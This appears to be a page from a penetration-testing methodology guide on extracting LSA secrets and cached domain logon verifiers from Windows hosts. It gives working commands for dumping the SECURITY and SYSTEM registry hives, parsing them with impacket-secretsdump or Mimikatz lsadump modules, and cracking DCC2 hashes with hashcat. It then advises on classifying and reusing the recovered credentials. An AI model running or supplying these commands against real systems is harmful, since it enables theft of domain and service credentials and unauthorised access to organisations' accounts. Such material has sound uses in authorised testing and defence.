Extract LSA secrets and cached-domain verifiers

Needs: Appropriate host/read privilege and complete matching key/source files

Windows commands

REM Baseline
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y

Shell commands

# Baseline
impacket-secretsdump -security SECURITY.hive -system SYSTEM.hive LOCAL

Mimikatz alternative

# Mimikatz alternative
privilege::debug
token::elevate
lsadump::secrets
lsadump::cache

DCC2 is for offline guessing, not Pass-the-Hash

# DCC2 is for offline guessing, not Pass-the-Hash
hashcat -m 2100 dcc2.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Verify the exact format with the installed Hashcat examples before cracking.

Verify → Retain source, account, type and required factors; do not label every parsed output a Pass-the-Hash credential.

If it fails → Absent cached entries or protected secrets are source-specific limitations; use another justified credential source. More detail ↓

If → then

A DCC2/MSCache record from matched SECURITY/SYSTEM material → Recover a password from cached domain logon verifiers
Needs: Correct username/salt/iteration context and feasible offline candidates
A password tied to a plausible user and service → Validate known passwords and context-specific reuse
Needs: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state
A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
Needs: Artifact provenance and format; possible local/domain/application identity and compatible protocol

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Extract LSA secrets and cached-domain verifiers

USE WHEN: Matched SECURITY/SYSTEM material is accessible
STARTING ACCESS: A domain identity, appropriate host privilege, or a validated effective directory-object right
RESULT: Typed LSA secrets, machine/service credentials or cached logon verifiers

Recognize the clue

Inspect the rights and origin of a protected registry backup and distinguish SECURITY data from SAM before collection/parsing.

hostname
whoami /priv

SYNTHETIC EXAMPLE OUTPUT

Available snapshot: SECURITY.save
Matching SYSTEM.save: verify
Expected outputs: LSA secrets and cached logon records

Means: A SECURITY source targets secrets/cached verifiers with distinct semantics; it is not simply another SAM.

Confirm: Confirm matched key material and classify every returned service/machine secret or DCC2 record.

After validation: A complete matched source yields usable typed material: choose its type-specific next method.
Ruled out in this context: The SYSTEM file comes from another snapshot/machine: reject that consistency assumption.
Still inconclusive: An empty parser result with incomplete source/context leaves credential absence unproved.

Troubleshooting: Absent cached entries or protected secrets are source-specific limitations; use another justified credential source.

Additional prerequisite checks

reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.save
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save

Mimikatz alternative:

Potential categories:

$MACHINE.ACC: member computer's domain-account secret/key material;
service/autologon secrets: usefulness depends on whether the service/account remains active;
NL$1-style cached logon data: DCC2/MSCache v2 verifier material.

DCC2 is for offline guessing, not Pass-the-Hash:

Verify the exact format with the installed Hashcat examples before cracking.

Why it works

Different SECURITY records encode different capabilities. DCC2 is an offline verifier; a machine-account secret and a service password have different identities and compatible uses.

Worked example · hypothetical

Observation: offline parsing yields both a cached logon verifier and a service secret. Test: classify each output independently. Illustrative output: DCC2 needs recovery while the service password can be validated directly. Interpretation: choose separate next methods.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗